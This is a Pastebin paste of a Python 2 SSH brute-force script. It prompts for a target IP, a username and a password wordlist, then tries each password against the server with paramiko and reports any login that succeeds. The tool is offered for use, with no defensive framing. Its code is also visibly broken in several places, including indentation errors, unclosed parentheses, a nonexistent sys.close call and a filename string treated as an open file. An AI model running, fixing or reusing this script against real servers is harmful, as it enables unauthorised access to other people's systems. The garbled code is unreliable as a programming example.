Guest User

SSH connect bruteforce

a guest
Dec 3rd, 2017
36
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2. #
  3. #
  4.  
  5. import paramiko, sys, os, socket
  6.  
  7. class bcolors:
  8.  
  9.     ENDC = '\033[0m'
  10.     RED   = "\033[1;31m"
  11.     GREEN = "\033[0;32m"
  12.     WARNING = "\033[93m"
  13.  
  14.  
  15. line = "\n---------------------------------------------------------------\n"
  16.  
  17. try:
  18.  
  19.     print bcolors.WARNING + "[!]...Enter the SSH's Server IP" + bcolors.ENDC
  20.     host = raw_input("\n> ")
  21.     print bcolors.WARNING + "[!]...Enter SSH's UserName" + bcolors.ENDC
  22.     username = raw_input("\n> ")
  23.     print "\n###########################################"
  24.     print "[!]...Please enter the path to a worldlist."
  25.     dirpath = os.getcwd()
  26.     print bcolors.WARNING + ("\ncurrent directory is: " + dirpath) + bcolors.ENDC
  27.     print "###########################################"
  28.  
  29.     passwfile = raw_input("\n> ")
  30.  
  31.     if os.path.exists(passwfile) == False:
  32.     print bcolors.RED + "\n[-]...File Path Does Not Exist" + bcolors.ENDC
  33.     sys.exit(4)
  34. except KeyboardInterrupt:
  35.     print bcolors.WARNING + "\n\n[*]...User Requested An Interrupt" + bcolors.ENDC
  36.     sys.close(3)
  37.  
  38.  
  39. def ssh_connect(password, code = 0):
  40.     ssh = paramiko.SSHClient()
  41.     ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()
  42.  
  43.       try:
  44.  
  45.             ssh.connect(host, port=22, username, password)
  46.           except paramiko.AuthenticationException:
  47.             #[*] Authentication Failed ...
  48.             code = 1
  49.           except socket.error, e:
  50.             #[*] Connection Failed ... Host Down
  51.             code = 2
  52.  
  53.           ssh.close()
  54.           return code
  55.  
  56.  
  57. for i in passwfile.readlines():
  58.     password = i.strip("\n")
  59.  
  60. try:
  61.         response = ssh_connect(password)
  62.  
  63.         if response == 0:
  64.         print bcolors.GREEN + "[+]...User: %s [+]...Possible Password Found: %s%s" % (line, username, password, line) + bcolors.ENDC
  65.         sys.exit(0)
  66.         elif response == 1:
  67.         print "[-]...User: %s" + bcolors.RED + "[-]...Pass: %s Login Incorrect" % (username, password) + bcolors.ENDC
  68.         elif response == 2:
  69.         print bcolors.WARNING + "[!]... Connection Could Not Be Established To Address: %s" % host + bcolors.ENDC
  70.         sys.exit(2
  71. except Exception, e:
  72.         print e
  73.         pass
  74.  
  75. passwfile.close()
Add Comment
Please, Sign In to add comment